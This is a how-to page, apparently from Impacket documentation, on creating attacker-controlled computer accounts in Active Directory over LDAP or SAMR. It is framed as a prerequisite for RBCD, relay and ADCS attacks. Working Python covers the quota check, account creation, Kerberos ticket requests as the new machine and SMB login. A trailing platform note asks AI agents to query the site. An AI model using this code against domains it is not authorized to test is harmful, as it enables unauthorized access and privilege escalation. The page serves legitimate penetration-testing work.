> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/adding-computer-ad.md).

# Adding New Computer Objects in AD

You need a machine account you control in the domain, typically as a prerequisite for RBCD, relay, or ADCS attacks.

## What you need

* Any domain account (default `ms-DS-MachineAccountQuota` of 10 allows standard users to add machines)
* Network access to the DC on port 389 (LDAP), 636 (LDAPS), or 445 (SAMR)

***

## Check the machine account quota

```python
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap.ldapasn1 import SearchResultEntry

ldap_conn = ldap_impacket.LDAPConnection(url=f"ldap://{dc_ip}", baseDN=base_dn)
ldap_conn.login(user=username, password=password, domain=domain)

resp = ldap_conn.search(
    searchFilter="(objectClass=domain)",
    attributes=["ms-DS-MachineAccountQuota"],
)
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "ms-DS-MachineAccountQuota":
            print(f"Quota: {attribute['vals'][0]}")
```

If the quota is 0, you need an account with delegated permission to create computer objects in a specific OU.

## Check how many machines you've already added

```python
resp = ldap_conn.search(
    searchFilter=f"(&(objectClass=computer)(mS-DS-CreatorSID=*))",
    attributes=["sAMAccountName", "mS-DS-CreatorSID"],
)

count = 0
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    # Compare CreatorSID to your account's SID to count your machines
    count += 1
```

***

## Method 1: LDAP (requires LDAPS for password set)

```python
machine_name = "YOURPC$"
machine_password = "MachinePass123!"
machine_dn = f"CN={machine_name[:-1]},CN=Computers,{base_dn}"
password_value = f'"{machine_password}"'.encode('utf-16-le')

# Use LDAPS for the password attribute
ldap_conn_s = ldap_impacket.LDAPConnection(url=f"ldaps://{dc_ip}", baseDN=base_dn)
ldap_conn_s.login(user=username, password=password, domain=domain)

ldap_conn_s.add(
    machine_dn,
    ["top", "person", "organizationalPerson", "user", "computer"],
    {
        "sAMAccountName": machine_name,
        "userAccountControl": 4096,
        "dNSHostName": f"{machine_name[:-1]}.{domain}",
        "servicePrincipalName": [
            f"HOST/{machine_name[:-1]}",
            f"HOST/{machine_name[:-1]}.{domain}",
            f"RestrictedKrbHost/{machine_name[:-1]}",
            f"RestrictedKrbHost/{machine_name[:-1]}.{domain}",
        ],
        "unicodePwd": password_value,
    },
)
```

***

## Method 2: SAMR (works over SMB, no LDAPS required)

```python
from impacket.dcerpc.v5 import transport, samr

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{dc_ip}[\pipe\samr]')
rpctransport.set_credentials(username, password, domain)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)

resp = samr.hSamrConnect(dce)
server_handle = resp['ServerHandle']

resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domain)
domain_sid = resp['DomainId']

resp = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)
domain_handle = resp['DomainHandle']

machine_name = "YOURPC$"
machine_password = "MachinePass123!"

resp = samr.hSamrCreateUser2InDomain(
    dce, domain_handle, machine_name,
    samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,
)
user_handle = resp['UserHandle']

# Set password
from impacket.dcerpc.v5.samr import SAMPR_USER_INFO_BUFFER, USER_INFORMATION_CLASS

user_info = SAMPR_USER_INFO_BUFFER()
user_info['tag'] = USER_INFORMATION_CLASS.UserSetPasswordInformation
user_info['SetPassword']['Password'] = machine_password
user_info['SetPassword']['PasswordExpired'] = 0
samr.hSamrSetInformationUser2(dce, user_handle, user_info)

# Enable the account
user_info2 = SAMPR_USER_INFO_BUFFER()
user_info2['tag'] = USER_INFORMATION_CLASS.UserControlInformation
user_info2['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, user_info2)

dce.disconnect()
```

***

## After creation: request Kerberos tickets as the machine

```python
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

machine_principal = Principal(machine_name, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, _, session_key = getKerberosTGT(
    clientName=machine_principal,
    password=machine_password,
    domain=domain,
    kdcHost=dc_ip,
    lmhash='', nthash='',
)

# Save for later use
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGT(tgt, _, session_key)
ccache.saveFile(f'{machine_name}.ccache')
```

## After creation: authenticate over SMB

```python
from impacket.smbconnection import SMBConnection

conn = SMBConnection(target_ip, target_ip)
conn.login(machine_name, machine_password, domain)
```

***

## Clean up

### Via LDAP

```python
ldap_conn.delete(machine_dn)
```

### Via SAMR

```python
samr.hSamrDeleteUser(dce, user_handle)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/adding-computer-ad.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
